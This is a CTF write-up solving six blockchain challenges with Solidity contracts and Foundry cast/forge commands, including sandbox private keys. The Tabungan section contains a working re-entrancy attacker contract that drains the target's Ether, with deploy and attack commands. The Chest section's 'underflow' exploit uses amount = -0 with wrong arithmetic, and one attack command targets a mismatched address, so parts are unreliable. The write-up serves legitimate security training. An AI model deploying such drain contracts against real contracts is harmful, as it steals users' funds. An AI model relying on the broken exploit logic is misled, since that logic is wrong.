Playground TCP1P CTF : Blockchain Challenge Writeup
TCP1P is an Indonesian CTF team actively engaging in competitive cybersecurity events on ctftime.

In the rapidly evolving world of cybersecurity, Capture The Flag (CTF) challenges have become an invaluable tool for both learning and demonstrating skills. These competitions simulate real-world scenarios, testing participants’ abilities to solve complex problems and think critically under pressure. Among the myriad of challenges, those focused on blockchain technology stand out for their intricacy and relevance in today’s digital landscape.
Blockchain, the backbone of cryptocurrencies and a promising technology for secure, decentralized transactions, presents unique challenges and opportunities for cybersecurity enthusiasts. In this write-up, I will take you through my journey of tackling a blockchain-focused CTF challenge, highlighting the key steps, strategies, and tools I used to navigate this intricate puzzle.
Whether you’re a seasoned cybersecurity professional or an aspiring enthusiast, this write-up aims to provide valuable insights into blockchain security, demystify the challenge-solving process, and hopefully inspire you to dive deeper into the fascinating world of blockchain technology.
Let’s dive in and unravel the mysteries of this CTF blockchain challenge together!

Transact
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Setup {
bool private solved;
constructor() payable {
}
function solve() public {
solved = true;
}
function isSolved() external view returns (bool) {
return solved;
}
}
based on this contract, we can easily spot that we just neet to call the function solve() to get the flag.
cast call "0x5b2bE141fa1B152B6C8C5fa314fC00B767aeF9A7" "solve()" --rpc-url "http://172.188.90.64:5301/c1b80be9-cc94-4d18-8478-66b36b78e599" --private-key "0xb7429735d868d4c670de349846920972d9177078c181b0dac31f1db1c776f5d8"
FFF
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
contract Setup {
bool private solved;
constructor() payable {
solved = false;
}
fallback() external payable{
solved = true;
}
receive() external payable{
solved = false;
}
function isSolved() external view returns (bool) {
return solved;
}
}
In Solidity, the fallback
and receive
functions are special functions that are used to handle Ether transfers and other transactions sent to a contract.
in this case we just need just to trigger the fallback
function. using this cast command.
cast send "0x634399Ebc5cb66F1F6608Fb58C8D2d6fE201F6F3" "test()" --value "500000000000000000" --rpc-url "http://172.188.90.64:44044/0e671522-7cbe-4ae6-bf61-5513fae4f968" --private-key "0x5f98f7930b0f55d9e7798ee05a0ae7ba2a57e35d6c6b1b024ab432ba38782ad2"

Tabungan
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Tabungan {
mapping(address => uint) public balances;
function setor() public payable {
require(msg.value > 0, 'Mana uangnya!?');
balances[msg.sender] += msg.value;
}
function ambil() public {
uint balance = balances[msg.sender];
require(balance > 0, 'Anda tidak punya uang tabungan!');
(bool resp,) = msg.sender.call{value: balance}("");
require(resp, 'gagal mengirim uang!');
balances[msg.sender] = 0;
}
}
based on this solidity code, this contract was vulnerable of re-entrancy attack, so we need prepare the exploit code in solidity.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Tabungan.sol";
contract Attacker {
Tabungan public tabungan;
address public owner;
constructor(address _tabunganAddress) {
tabungan = Tabungan(_tabunganAddress);
owner = msg.sender;
}
// Fallback function to receive Ether and reenter the Tabungan contract
fallback() external payable {
if (address(tabungan).balance >= msg.value) {
tabungan.ambil();
}
}
// Attack function to start the exploit
function attack() external payable {
require(msg.value > 0, "Send some Ether to attack");
tabungan.setor{value: msg.value}();
tabungan.ambil();
}
// Function to withdraw funds from this contract to the attacker's address
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}
we need to deploy this exploit first and call this contract to exploit this vulnerability.
forge create --private-key 0xca96a26c778f9b883ec61d233507a855aa17ba63ad82240a8dfbccc145b8383b src/ExploitTabungan.sol:Attacker --constructor-args 0x5819803Ca3AF1e482672a5a4a43fcf935c6926e5

call the contract to run the exploit.
cast send "0x634399Ebc5cb66F1F6608Fb58C8D2d6fE201F6F3" "attack()" --value 1ether --rpc-url "http://172.188.90.64:44044/0e671522-7cbe-4ae6-bf61-5513fae4f968" --private-key "0x5f98f7930b0f55d9e7798ee05a0ae7ba2a57e35d6c6b1b024ab432ba38782ad2"

IP What?
0xC5fa6c384cDb0689D86095241b3D232244bDbF13


Explore this address on sepoila network to find a flag. one of that transaction contain flag that was hide on the input data. by open the IPFS url you can get that flag
https://bafkreiareehajeymvj35gleqe2y5q3apsevwqmmllgz7n6ohq3gpc6yyum.ipfs.cf-ipfs.com
Cursed
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Cursed {
bool public _xx__x_x__x = false;
function ___x_x__x_() public view returns (uint256) {
return (uint128(uint64(uint32(uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - 1 ^ block.timestamp)))))))));
}
function x__x_xx__(uint256 _x__x) public {
require(_x__x == ___x_x__x_());
_xx__x_x__x = true;
}
}
based on this contract we need to know the return of function ___x_x__x_()
, because the return of this function will compared on the this method x__x_xx__(uint256)
, so get the return value by call the function.
cast call "0x7743Be7F0697b4774FC80353AeE57690773f5613" "___x_x__x_()" --rpc-url "http://172.188.90.64:42357/8a260193-37c1-4347-8a13-9565aee8781c" --private-key "0xa2fe4e8428e07785bb9b8fbc20020cff7c88663979bcd2f164ad16f3efe7eca5"

___x_x__x_()
we need to parse this return value to the next function like this.
cast send "0x7743Be7F0697b4774FC80353AeE57690773f5613" "x__x_xx__(uint256)" 0x000000000000000000000000000000000000000000000000000000000ef3e563 --rpc-url "http://172.188.90.64:42357/8a260193-37c1-4347-8a13-9565aee8781c" --private-key "0xa2fe4e8428e07785bb9b8fbc20020cff7c88663979bcd2f164ad16f3efe7eca5"

Chest
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Chest.sol";
contract Setup {
Chest public immutable TARGET;
uint256 public test;
constructor(uint256[] memory _combinations, uint256 _golden_key) public {
TARGET = new Chest(_combinations, _golden_key);
}
function isSolved() public view returns (bool) {
return TARGET.locked() == false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Chest {
uint256[] private combinations;
mapping(address => uint256) private golden_key;
bool public locked = true;
int256 public treasures = 100_000_000_000;
uint64 public limit = 10_000;
constructor(uint256[] memory _combinations, uint256 _golden_key) public {
combinations = _combinations;
golden_key[
address(uint160((combinations[0] >> 86) | combinations[1]))
] = _golden_key;
}
modifier notSoFastKiddo() {
require(!locked, "Unlock the chest first");
_;
}
function unlock(uint256 _key) public {
uint256 _golden_key = golden_key[
address(uint160((combinations[0] >> 86) | combinations[1]))
];
if (_golden_key == _key) {
locked = false;
}
}
function loot(int256 _amount) public notSoFastKiddo {
require(uint64(limit - _amount) <= limit, "Don't be greedy");
treasures -= _amount;
}
}
Step step to complete this challenge :
1. find the Chest address using Setup address
2. find the key that parse from constructor while deployment process on transaction
3. unlock the chest using _key
4. exploit the underflow
1. find the Chest address using setup address.
we can able to find the next contract address that created using this golang code :
https://goplay.tools/snippet/G1hn_hSlOuF
2. find the key that parse from constructor while deployment process on transaction.
based on the Setup
Contract, the golden_key just parse while the contract Chest
Contract is deployed. so we need to retro investigate to get the value on the time that Chest contract was deployed. in this case we simply lookup on the history block that was created and inspect the transaction using cast block
.
cast block-number --rpc-url "http://172.188.90.64:25194/eda4cab9-fa6a-4138-954d-4ec8cde06445"
cast block --rpc-url "http://172.188.90.64:25194/eda4cab9-fa6a-4138-954d-4ec8cde06445"
cast tx 0x8b7143c5ccd864f50d46e5b9699f074b22a6aaa9d77209cf86635d2db67430ff --rpc-url "http://172.188.90.64:25194/eda4cab9-fa6a-4138-954d-4ec8cde06445"

now we should extract the value that parsed on deployment process
value param _golden_key
0814c57347c9f214e8da678763ecd791c29cd09a7c308ec91fdfcf5ad0ecec3d
value param _combinations
f4d58eb6603ca01695b2a17f0f97ca9946ca2918f16fd7bde991a1719d3a38f0
c7beee321b17bd42b03c3b9b1d10df0ffe692146ed8cfd2092a44460ae61d660
3. unlock the chest using _key
to unlock the chest we need parse the key on the unlock()
function using cast like below.
cast send "0x2B96c3D6F150E53C92d640ADF08fec9Eb2b2cB2e" "unlock(uint256)" 0x0814c57347c9f214e8da678763ecd791c29cd09a7c308ec91fdfcf5ad0ecec3d --rpc-url "http://172.188.90.64:25194/116a3366-b58d-48b6-9a8c-ca17a0f80e54" --private-key "0x7b619db1502e3b25932b2dca2eca21a443aa14d9481207536f03fa16e46c5611"

4. exploit the underflow
to exploit this underflow, we need to write the exploit contract and the deploy it first. this is the underflow math that will be exploited in this challenge.
limit = 10,000 — (-0) = 10,000 + 0 = 10,000 >= limit
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Chest.sol";
contract Exploit {
Chest public chest;
constructor(address _treasureAddress) public {
chest = Chest(_treasureAddress);
}
function exploit() public {
int256 amount = -0; // This value causes the underflow
chest.loot(amount);
}
}
Deploy the exploit and call it.
forge create --private-key 0x7b619db1502e3b25932b2dca2eca21a443aa14d9481207536f03fa16e46c5611 src/Exploit.sol:Exploit --constructor-args 0x2B96c3D6F150E53C92d640ADF08fec9Eb2b2cB2e

thank you